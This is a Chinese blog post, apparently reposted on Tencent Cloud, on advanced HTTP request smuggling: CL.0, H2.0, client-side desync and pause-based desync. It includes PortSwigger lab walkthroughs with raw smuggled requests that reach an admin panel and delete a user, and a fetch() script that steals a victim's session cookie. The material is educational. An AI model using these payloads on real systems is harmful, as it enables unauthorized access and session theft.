Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >请求走私利用扩展

请求走私利用扩展

作者头像
Al1ex
发布于 2024-02-22 07:07:33
发布于 2024-02-22 07:07:33
36300
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行
文章前言

在之前我们介绍了HTTP/1和HTTP/2的请求走私原理以及利用方法,本篇文章将对此进行进一步扩展介绍一些特殊的场景下的请求走私的检测以及利用方式和思路,对请求走私进行一个扩展补充,例如:CL.0请求走私、H2.0走私、去同步化攻击等,同时本篇文章也是对请求走私系列的最后一个收官,至此请求之前留下的请求走私的坑也算是被填完了

CL.0走私
基本介绍

请求走私漏洞是由于"链式系统"中确定每个请求的起点和终点的方式存在差异,而这通常是由于标头解析不一致导致一台服务器使用请求的Content-Length,另一台服务器将消息视为分块消息,其实在不依赖于这两个问题的情况下我们也可以执行许多相同的攻击,在一些条件下后端服务器会忽略Content-Length头,这实际上意味着会忽略传入请求的主体,也就是将Content-Length视为0的情况,此时如果后端服务器表现出这种行为,但前端仍然使用Content-Length头来确定请求的结束位置,那么我们将有可能通过利用这种差异进行HTTP请求走私

漏洞检测

如果要探测CL.0请求走私漏洞,那么我们需要先发送一个在其正文中包含另一个部分请求的走私请求,然后发送一个正常的后续请求,然后检查后续请求的响应是否受到走私前缀的影响,如果服务器正常响应第二个请求,则此端点不存在CL.0请求走私漏洞,如果对第二个请求的响应与我们期望的走私前缀相匹配,则说明后端服务器会忽略请求头中的"Content-Length",目标服务器存在CL.0请求走私漏洞,检测示例请求报文如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /vulnerable-endpoint HTTP/1.1
Host: vulnerable-website.com 
Connection: keep-alive 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 34 

GET /hopefully404 HTTP/1.1 
Foo: x
靶场演示

靶场地址: https://portswigger.net/web-security/request-smuggling/browser/cl-0/lab-cl-0-request-smuggling

靶场介绍:此靶场易受CL.0请求走私攻击且后端服务器在对某些端点的请求中会忽略Content-Length标头,你需要自我找寻一个易受攻击的路径并向后端提交一个访问/admin处的管理面板的请求去删除用户carlos

靶场演示:

Step 1:首先访问以上靶场地址并点击"ACCESS THELAB"进入靶场

Step 2:在Burpsuite中捕获"GET /"请求并将其发送到Repeat模块,随后将其请求方法改为POST,随后插入以下走私请求内容

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST / HTTP/1.1
Host: 0a8c00d004c4ccae80e076ac00ff00b0.web-security-academy.net
Cookie: session=IWGFngB34izV5bdhofMgnRjh8NOICpf4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

GET /hopefully404 HTTP/1.1
Foo: x

随后将请求URL更改为其他要Fuzzing的路径并更改请求头信息"Connection: keep-alive"发送请求

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /resources/images/blog.svg HTTP/1.1
Host: 0a8c00d004c4ccae80e076ac00ff00b0.web-security-academy.net
Cookie: session=IWGFngB34izV5bdhofMgnRjh8NOICpf4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

GET /hopefully404 HTTP/1.1
Foo: x

如果服务器正常响应第二个请求,则此端点不会受到攻击,如果对第二个请求的响应与我们期望的走私前缀相匹配,则表面后端服务器会忽略请求头中的"Content-Length"

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /resources/images/blog.svg HTTP/1.1
Host: 0a8c00d004c4ccae80e076ac00ff00b0.web-security-academy.net
Cookie: session=IWGFngB34izV5bdhofMgnRjh8NOICpf4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

GET /hopefully404 HTTP/1.1
Foo: x

Step 3:随后在burpsuite中将走私前缀的路径更改为指向/admin,再次按顺序发送请求观察第二个请求是否已成功访问管理面板

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /resources/images/blog.svg HTTP/1.1
Host: 0a8c00d004c4ccae80e076ac00ff00b0.web-security-academy.net
Cookie: session=IWGFngB34izV5bdhofMgnRjh8NOICpf4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

GET /admin HTTP/1.1
Foo: x

Step 4:随后调用接口删除用户

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /resources/images/blog.svg HTTP/1.1
Host: 0a8c00d004c4ccae80e076ac00ff00b0.web-security-academy.net
Cookie: session=IWGFngB34izV5bdhofMgnRjh8NOICpf4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

GET /admin/delete?username=carlos HTTP/1.1
Foo: x

Step 5;完成解题:

H2.0走私

如果后端服务器忽略已降级请求的Content-Length标头,则将HTTP/2请求降级为HTTP/1的网站可能容易受到等效的"H2.0"问题的攻击,这里不再赘述,有兴趣的可以看之前的《HTTP/2请求走私深入刨析》和《请求走私一篇通》进行了解

去同步类
基本介绍

客户端去同步(CSD)是一种使受害者的Web浏览器去同步其与易受攻击网站的连接的攻击方式,它与请求走私类似,只不过请求走私主要是使前端和后端服务器之间的连接不同步

CSD攻击包括以下阶段

  • 受害者访问任意域上包含恶意JavaScript的网页
  • JavaScript导致受害者的浏览器向易受攻击的网站发出请求(其正文中包含一个攻击者控制的请求前缀)
  • 在服务器响应初始请求后,恶意前缀会留在服务器的TCP/TLS套接字上从而取消与浏览器的连接同步
  • JavaScript在中毒的连接下触发后续的连接请求,从而附加到恶意前缀中从而引发服务器的有害响应

备注:上面的攻击不依赖于两个服务器之间的解析差异,这意味着即使是单服务器网站也可能受到攻击

漏洞利用

简而言之我们只需要让受害者访问一个恶意网站,从而导致他们的浏览器发起攻击即可,下面我们通过一个靶场进行演示说明:

靶场地址:https://portswigger.net/web-security/request-smuggling/browser/client-side-desync/lab-client-side-desync

靶场介绍:此靶场易受客户端去同步攻击,因为服务器在向某些端点发出请求时会忽略Content-Length标头,您可以利用此漏洞诱使受害者的浏览器泄露其会话cookie

演示过程:

Step 1:访问上面的靶场连接,然后点击"ACCESS THELAB"进入靶场

Step 2:从加载的界面我们可以看到默认直接转到了en路径下

随后我们直接移除en再次回车发现还是会重定向到en中去,抓包后发现存在重定向

随后更改请求数据包的方法为POST并禁用Burpsuite的自动更新Content-Length头选项,设置Content-Length的值为110,随后移除请求body,重新发送数据包,可以看到此时会立即响应并不会有过长的延迟来等待我们指定的长度为110的body报文信息,说明这里忽略Content-Length

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
GET / HTTP/1.1
Host: 0a40005204ca7973811de89500e000af.h1-web-security-academy.net
Content-Length:110

Step 3:随后重新启用"Content-Length"长度更新选项并在正文中添加任意请求走私前缀,同时更改Connection为"keep-alive"

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST / HTTP/1.1
Host: 0a40005204ca7973811de89500e000af.h1-web-security-academy.net
Connection:keep-alive
Content-Length:

GET /hopefully404 HTTP/1.1
Foo: x

在恶意请求之后将"GET /"的正常请求添加到选项卡组并使用发送按钮旁边的下拉菜单将发送模式更改为按顺序发送组(single connection)

发送序列并检查响应,如果对第二个请求的响应与您所期望的走私前缀相匹配,则可以确认您可以导致去同步

Step 4:随后回到Burp的浏览器中,访问其中一篇博客文章并观察到有一个包含评论功能,从Proxy>HTTP历史记录中找到"GET /en/post?postId=x",在Burp Repeater中使用上一节中的desync矢量尝试在注释中捕获您自己的任意请求,例如

请求报文1:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST / HTTP/1.1
Host: 0a40005204ca7973811de89500e000af.h1-web-security-academy.net
Connection: keep-live
Content-Length: 631

POST /en/post/comment HTTP/1.1
Host: 0a40005204ca7973811de89500e000af.h1-web-security-academy.net
Cookie: session=IVyZ195O8xf57pxHj67NWTnINcMnLhx5; _lab_analytics=Ep2xqyavvsZdf4X8ozQb4i0y0HvPKRxQeJN9sIHk91JVUMoZBydIofsyqWL72BINYScmFaJnfLP1NaLgczuV1Deg5ighDljgshun8uVDCmNVXEWaYtSALPEfDLHnSesd2Q0yEYPBtj5SAEVXEXeF8s832NQFFArwAhwlwU8ETbp7luLXJe66IKsp9aBd69gsqtnMsIXGhOoZkqkJ9DZqebES82Vk2xetArPJLiZbS6j9TnBLgH5D6as1sTVQFQi0
Content-Length: 128
Content-Type: x-www-form-urlencoded
Connection: keep-alive

csrf=oeSUFWMfMoMJbOyXez7fU3KDpGKjbYdU&postId=2&name=QWQQ&email=test123%40163.com&website=http%3A%2F%2Fwww.baidu.com&comment=

请求报文2:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
GET /capture-me HTTP/1.1
Host: YOUR-LAB-ID.h1-web-security-academy.net

回到浏览器刷新博客文章并在评论中可以看到已成功输出"GET /capture"请求的开始

Step 5:随后打开一个单独的Chrome浏览器示例,转到漏洞利用服务器,打开浏览器开发人员工具,转到Console选项卡使用fetch()API复制上一节中的攻击,在这里我们有意触发CORS错误以阻止浏览器遵循重定向,然后使用catch()方法继续攻击序列,我们此时可以看到两个请求:

  • 已触发CORS错误的主请求
  • 对主页的请求收到404响应

证实了可以从浏览器触发去同步矢量

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
fetch('https://0a40005204ca7973811de89500e000af.h1-web-security-academy.net', {
        method: 'POST',
        body: 'POST /en/post/comment HTTP/1.1\r\nHost: 0a40005204ca7973811de89500e000af.h1-web-security-academy.net\r\nCookie: session=IVyZ195O8xf57pxHj67NWTnINcMnLhx5; _lab_analytics=Ep2xqyavvsZdf4X8ozQb4i0y0HvPKRxQeJN9sIHk91JVUMoZBydIofsyqWL72BINYScmFaJnfLP1NaLgczuV1Deg5ighDljgshun8uVDCmNVXEWaYtSALPEfDLHnSesd2Q0yEYPBtj5SAEVXEXeF8s832NQFFArwAhwlwU8ETbp7luLXJe66IKsp9aBd69gsqtnMsIXGhOoZkqkJ9DZqebES82Vk2xetArPJLiZbS6j9TnBLgH5D6as1sTVQFQi0\r\nContent-Length: 300\r\nContent-Type: x-www-form-urlencoded\r\nConnection: keep-alive\r\n\r\ncsrf=oeSUFWMfMoMJbOyXez7fU3KDpGKjbYdU&postId=2&name=QWQQ&email=test123@163.com&website=http://www.baidu.com&comment=',
        mode: 'cors',
        credentials: 'include',
    }).catch(() => {
        fetch('https://0a40005204ca7973811de89500e000af.h1-web-security-academy.net/capture-me', {
        mode: 'no-cors',
        credentials: 'include'
    })
})

刷新博客文章并确认通过浏览器发起的攻击成功输出您自己/capture

更改Content-Length捕获更多

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
fetch('https://0a40005204ca7973811de89500e000af.h1-web-security-academy.net', {
        method: 'POST',
        body: 'POST /en/post/comment HTTP/1.1\r\nHost: 0a40005204ca7973811de89500e000af.h1-web-security-academy.net\r\nCookie: session=IVyZ195O8xf57pxHj67NWTnINcMnLhx5; _lab_analytics=Ep2xqyavvsZdf4X8ozQb4i0y0HvPKRxQeJN9sIHk91JVUMoZBydIofsyqWL72BINYScmFaJnfLP1NaLgczuV1Deg5ighDljgshun8uVDCmNVXEWaYtSALPEfDLHnSesd2Q0yEYPBtj5SAEVXEXeF8s832NQFFArwAhwlwU8ETbp7luLXJe66IKsp9aBd69gsqtnMsIXGhOoZkqkJ9DZqebES82Vk2xetArPJLiZbS6j9TnBLgH5D6as1sTVQFQi0\r\nContent-Length: 300\r\nContent-Type: x-www-form-urlencoded\r\nConnection: keep-alive\r\n\r\ncsrf=oeSUFWMfMoMJbOyXez7fU3KDpGKjbYdU&postId=2&name=QWQQ&email=test123@163.com&website=http://www.baidu.com&comment=',
        mode: 'cors',
        credentials: 'include',
    }).catch(() => {
        fetch('https://0a40005204ca7973811de89500e000af.h1-web-security-academy.net/capture-me', {
        mode: 'no-cors',
        credentials: 'include'
    })
})

随后转到漏洞利用服务器,在"正文"面板中粘贴之前的测试的脚本,随后将整个脚本包装在HTML的<script>标记中,存储该漏洞并单击"传递给受害者"

刷新博客文章并确认您已经捕捉到受害者用户请求的开始

重复此攻击调整嵌套的"POST/en/POST/comment"请求的Content-Length,直到成功输出受害者的会话cookie

在Burp Repeater中使用受害者被盗的cookie发送请求/my-account(这里只要获取到完整的session的值即可)

完成解题

暂停同步
基本介绍

有些时候看似安全的网站可能包含隐藏的同步漏洞,只有当你暂停请求时,这些漏洞才会暴露出来。服务器通常配置有读取超时,如果它们在一定时间内没有收到任何数据,它们会将请求视为完成并发出响应而不管它们被告知需要多少字节,当服务器超时请求但保持连接打开以供重用时,可能会出现基于暂停的去同步漏洞。在适当的条件下这种行为可以为服务器端和客户端的去同步攻击提供另一种途径

利用条件

在使用基于暂停的技术来引发类似CL.0的攻击需要满足以下条件:

  • 前端服务器必须立即将请求的每个字节转发到后端,而不是等到收到完整的请求
  • 前端服务器不能在后端服务器之前使请求超时
  • 读取超时后端服务器必须保持连接打开以供重用
简易举例

下面我们通过一个例子来看这种技术是如何实现的,首先看一下标准的CL.0请求走私:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /example HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

GET /hopefully404 HTTP/1.1
Foo: x

想象一下如果我们将标题发送到一个易受攻击的网站,但在发送正文之前暂停一下会发生什么:

  • 前端将头转发到后端,然后继续等待Content-Length头承诺的剩余字节
  • 后端超时并发送一个响应,前端可能会也可能不会读取该响应并将其转发给我们
  • 紧接着我们发送一个请求主体信息,在本例中包含一个基本的请求走私前缀
  • 前端服务器此时会将此视为初始请求的继续并通过同一连接将其转发给后端
  • 后端服务器已经响应了初始请求,所以假设这些字节是另一个请求的开始

至此我们已经有效地实现了CL.0 desync,用请求前缀毒化了前端/后端连接,同时可以发现当服务器自己生成响应而不是将请求传递给应用程序时,它们更容易受到攻击

靶场演示

靶场地址:https://portswigger.net/web-security/request-smuggling/browser/pause-based-desync/lab-server-side-pause-based-request-smuggling

靶场介绍:本靶场容易受到基于暂停的服务器端请求走私的攻击,前端服务器将请求流式传输到后端,后端服务器在某些端点超时后不会关闭连接,现在你需要确定一个基于暂停的CL.0 desync向量,然后将一个请求偷偷发送到后端的/admin管理面板,然后删除用户carlos

靶场演示:

Step 1:访问以上链接进入靶场,然后点击"ACCESS THELAB"进入靶场

在Burp中从服务器响应头可以看出靶场使用的是Apache 2.4.52,此版本的Apache可能容易受到端点上基于暂停的CL.0攻击,这些攻击会触发服务器级重定向

在Burp Repeater中尝试发出对有效目录的请求,但不包括尾随斜杠,例如:GET /resources,随后可以看到被重定向到/resources/中去

然后我们右键单击请求,选择Extensions-> Turbo intrusor->发送到Turbo intrusor

在Turbo Intruder中将请求转换为POST请求,更改头部信息"keep-alive",同时将完整的"GET /admin"请求添加到主请求的正文中(注意这里有两个换行哦)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /resources HTTP/1.1
Host: 0aad0076039d4f288088e4a6007e0045.web-security-academy.net
Cookie: session=rwdFIEqyq1RBngaBvRN99WsxWGpsUpeD
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


GET /admin/ HTTP/1.1
Host: 0aad0076039d4f288088e4a6007e0045.web-security-academy.net

点击"Attack"发动攻击,此时不会看到任何事情发生,但是61秒后会在结果表中看到两个条目:

第一个条目是"POST /resources"请求,它像往常一样触发了到/resources/的重定向

第二个条目是对"GET /admin/"请求的响应,从回显结果可以看到只允许本地用户访问,而这也告诉我们这里存在基于暂停的CL.0漏洞

随后更改主机头为localhost

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /resources HTTP/1.1
Host: 0aad0076039d4f288088e4a6007e0045.web-security-academy.net
Cookie: session=rwdFIEqyq1RBngaBvRN99WsxWGpsUpeD
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 91


GET /admin/ HTTP/1.1
Host: localhost

重新发送请求并在61秒后可以看到已经能成功访问管理面板,观察管理面板可以看到这里包含一个用于删除给定用户的HTML表单,记下以下详细信息:

  • 操作属性(/admin/delete)
  • 输入的名称(用户名)
  • csrf token

返回配置界面并使用上述信息构造表单重新发送请求:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /resources HTTP/1.1
Host: 0aad0076039d4f288088e4a6007e0045.web-security-academy.net
Cookie: session=rwdFIEqyq1RBngaBvRN99WsxWGpsUpeD
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 159

POST /admin/delete/ HTTP/1.1
Host: localhost
Content-Type: x-www-form-urlencoded
Content-Length: 53

csrf=Dyo9ajteplhUQGufcNGiOcFgfceGOVz9&username=carlos

若要防止Turbo Intruder在请求中两次出现后暂停,需要更新pauseMarker参数,使其仅匹配第一组标头的结尾,例如:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pauseMarker=['Content-Length: CORRECT\r\n\r\n']

随后点击"Attack"实施攻击,此时会出现以下响应

刷新靶场地址完成解题:

文末小结

本篇文章算是对请求走私系列文章的一个收尾,通过前面的文章我们可以了解到HTTP/1.1请求走私的主要原因是在HTTP/1.1中提供了两种不同的方法来指定HTTP消息的长度Content-LengthTransfer-Encoding,如果单个消息同时使用上述两个头并且前后端存在解析差异那么将导致请求走私问题(CL.TE、TE.CL、TE.TE),虽然HTTP2是基于预定义的偏移量进行解析,消息长度几乎不可能产生歧义,但是由于目前很多的Web服务器和反向代理通过HTTP/2降级用HTTP/1语法重写HTTP/2请求以生成等效的HTTP/1请求,从而实现对用HTTP/1的后端服务器通信提供HTTP/2支持,从而导致攻击者可以借助协议降级继续请求走私,衍生出了H2.CL、H2.TE等请求走私手法,而本文则是对之前两则的一个补充和扩展,引入了新的CL.0走私、H2.0走私以及去同步走私攻击,通过请求走私攻击者可以进行缓存投毒、绕过权限管控访问特殊资源并执行敏感操作等攻击

参考链接

https://portswigger.net/research/browser-powered-desync-attacks

https://portswigger.net/web-security/request-smuggling#how-to-prevent-http-request-smuggling-vulnerabilities

https://portswigger.net/web-security/request-smuggling/browser/client-side-desync#what-is-a-client-side-desync-attack

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-02-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
请求走私利用实践(下)
假设应用程序使用前端服务器来实现访问控制限制,仅当用户被授权访问所请求的URL时才转发请求,然后后端服务器接受每个请求,而不做进一步的检查,在这种情况下可以利用HTTP请求走私漏洞通过请求走私访问受限制的URL从而绕过访问控制,假如允许当前用户访问/home,但不允许访问/admin,他们可以使用以下请求走私攻击绕过这一限制:
Al1ex
2024/01/26
2420
请求走私利用实践(下)
请求走私利用实践(上)
在上次的"Websocket通信安全概览"一文中对WebSocket的请求走私做了一个简单的介绍后总觉得对请求走私这一部分知识内容缺乏一个完整性的梳理,后面经过几次断断续续的补充以及时间的拼凑最终有了这一篇较为完整的关于请求走私的介绍文章和利用实践文章,而这也算是填补了自己之前遗留的一个坑吧
Al1ex
2024/01/26
4260
请求走私利用实践(上)
[ffffffff0x] 浅析 HTTP Smuggling 攻击
由于各种各样的原因,各网站通常使用多级代理模式对外开放Web服务,如CDN、Nginx代理等。HTTP/1.1 版本倾向于使用keep-alive长连接进行通信,提高前后端之间的通讯效率。也就是说多个人的流量可能会在前后端之间的同一个tcp会话中传输,另外前后端对于Content-Length和Transfer-Encoding的解析处理方法不同,有可能造成请求污染的情况,直接导致HTTP Smuggling攻击的出现。
r0fus0d
2020/12/27
1K0
[ffffffff0x] 浅析 HTTP Smuggling 攻击
协议层的攻击——HTTP请求走私
最近在学习研究BlackHat的议题,其中有一篇议题——"HTTP Desync Attacks: Smashing into the Cell Next Door"引起了我极大地兴趣,在其中,作者讲述了HTTP走私攻击这一攻击手段,并且分享了他的一些攻击案例。我之前从未听说过这一攻击方式,决定对这一攻击方式进行一个完整的学习梳理,于是就有了这一篇文章。
知道创宇云安全
2019/10/11
1.9K0
协议层的攻击——HTTP请求走私
HTTP2请求走私(上)
HTTP/2是HTTP协议自1999年HTTP 1.1发布后的首个更新,它由互联网工程任务组(IETF)的Hypertext Transfer Protocol Bis(httpbis)工作小组进行开发,该组织于2014年12月将HTTP/2标准提议递交至IESG进行讨论并于2015年2月17日被批准,目前多数主流浏览器已经在2015年底支持了该协议,此外根据W3Techs的统计数据表示自2017年5月,在排名前一千万的网站中有13.7%支持了HTTP/2,本篇文章我们将主要对HTTP/2协议的新特性以及HTTP/2中的请求走私进行详细介绍
Al1ex
2024/02/01
2950
HTTP2请求走私(上)
Web Security 之 HTTP request smuggling
在本节中,我们将解释什么是 HTTP 请求走私,并描述常见的请求走私漏洞是如何产生的。
凌虚
2021/03/19
1.4K0
Web Security 之 HTTP request smuggling
由一次渗透测试引发的HTTP请求走私思考
前几天朋友发了一个朋友圈说他的网站刚建好没有多久就被别人给脱库了,里面有一些客户的资料,有点难受。便向他询问了一些事情,溯源无果后便和他商量了一下帮助他将再次新建的网站进行了一次友情渗透测试。而HTTP请求走私漏洞也是在其中发现的一个可以小事化大,大事化危的一个漏洞。遂将其发现过程记录下来
谢公子
2022/01/20
9480
由一次渗透测试引发的HTTP请求走私思考
HTTP2请求走私(下)
网站即使采取措施阻止基本H2.CL或H2.TE攻击(例如:验证content-length或剥离任何transfer-encoding头),我们也可以通过利用HTTP/2的二进制格式中允许的一些方法来绕过这些前端措施,在HTTP/1中我们有时可以利用服务器处理独立换行符(\n)方式之间的差异来走私被禁止的头
Al1ex
2024/02/01
4120
HTTP2请求走私(下)
非侵入式入侵 —— Web缓存污染与请求走私
本文介绍了两种攻击者无需直接接触服务端即可攻击和影响用户行为的安全漏洞 —— Web缓存污染与请求走私。Web缓存污染旨在通过攻击者向缓存服务器投递恶意缓存内容,使得用户返回响应结果而触发安全风险。HTTP请求走私旨在基于前置服务器(CDN、反向代理等)与后置服务器对用户请求体的长度判断标准不一致的特性,构造能够被同一TCP连接中其它用户夹带部分恶意内容的攻击请求,从而篡改了受害者的请求与响应行为。两种漏洞均需要通过针对中间件的合理配置与业务接口的合理设计进行排查和防御。
2020labs小助手
2023/03/14
5980
初探HTTP请求走私
文章首发于跳跳糖社区https://tttang.com/archive/1808/
用户9691112
2023/05/18
2K0
初探HTTP请求走私
Tomcat请求走私(CVE-2024-21733)
本文属于OneTS安全团队成员98的原创文章,转载请声明出处!本文章仅用于学习交流使用,因利用此文信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,OneTS安全团队及文章作者不为此承担任何责任。
OneTS安全团队
2025/02/07
3930
Tomcat请求走私(CVE-2024-21733)
HTTP 方法
HTTP协议 所有的方法 方法 说明 支持的HTTP协议版本 GET 获得资源 1.0、 1.1 POST 传输实体主体 1.0、 1.1 PUT 传输文件 1.0、 1.1 DELETE 删除文件 1.0、 1.1 HEAD 获得HTTP协议首部 1.0、 1.1 OPTIONS 询问HTTP服务器支持的HTTP协议的方法 1.1 TRACE 追踪路径 1.1 CONNECT 要求用隧道协议连接代理 1.1 LINK 建立和资源之间的关系 1.0 UNLINK 断开连接关系 1.0 下面我们通过tomc
java404
2018/05/18
8180
CVE-2023-46747:F5 BIG-IP远程代码执行漏洞
F5 BIG-IP是一款由F5 Networks开发的高级应用交付和负载均衡解决方案,用于优化和保护企业应用程序的可用性、性能和安全性。它提供负载均衡、应用性能优化、安全性、高可用性和可扩展性等关键功能,以确保应用程序的稳定运行,满足各种业务需求。
Timeline Sec
2023/11/14
2.5K2
CVE-2023-46747:F5 BIG-IP远程代码执行漏洞
5. http协议简介、http请求以及响应介绍
HTTP是HyperText Transfer Protocol(超文本传输协议)的简写,传输HTML文件。
Devops海洋的渔夫
2021/11/02
1.2K0
5. http协议简介、http请求以及响应介绍
CTF中的请求走私
HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列方式的技术,它允许攻击者绕过安全控制获得对敏感数据的未经授权的访问并直接危害其他应用程序用户,请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况,主要是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即Content-Length和Transfer-Encoding标头,请求走私主要与HTTP/1请求相关,但是支持HTTP/2的网站可能容易受到攻击,具体取决于其后端架构,本篇文章我们主要介绍一些CTF中常见的请求走私题目并对请求走私的利用实现一个强化效果
Al1ex
2024/01/22
3130
CTF中的请求走私
Smuggler:一款功能强大的HTTP请求走私和去同步安全测试工具
Smuggler是一款功能强大的HTTP请求走私和去同步安全测试工具,该工具基于纯Python 3开发,可以帮助广大研究人员针对应用程序的HTTP协议执行安全分析和测试。
FB客服
2024/03/01
3300
Smuggler:一款功能强大的HTTP请求走私和去同步安全测试工具
linux中有人因为httpie(更干爽)放弃了curl
之前在命令行下进行 HTTP 服务的调试和信息查看都是使用经典的 cURL,不过前段时间发现一个交互更加友好的工具,就是 HTTPie。 之前在命令行下进行 HTTP 服务的调试和信息查看都是使用经典的 cURL,不过前段时间发现一个交互更加友好的工具,就是 HTTPie。 先放一个 HTTPie 官方的一个 HTTPie VS cURL 的图给大家看看。 HTTPie VS cURL HTTPie 则在使用时的表现力、人性化做得比 wget、curl 好得多,就像在官网上宣传的那样,它追求的是人
入门笔记
2022/06/02
4470
linux中有人因为httpie(更干爽)放弃了curl
GO-HTTP 协议
因为编写 Web 应用必须对 HTTP 有所了解,所以接下来我们对 HTTP 进行介绍。
cwl_java
2020/04/08
6040
网络编程之HTTP header请求头详解
(3)HTTP/1.1: URI(Uniform Resource Identifier,统一资源标识符)及其版本
lyb-geek
2018/07/26
1.9K0
Responses 部分
(3)HTTP/1.1: URI(Uniform Resource Identifier,统一资源标识符)及其版本
翎野君
2023/05/12
2960
Responses 部分
相关推荐
请求走私利用实践(下)
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验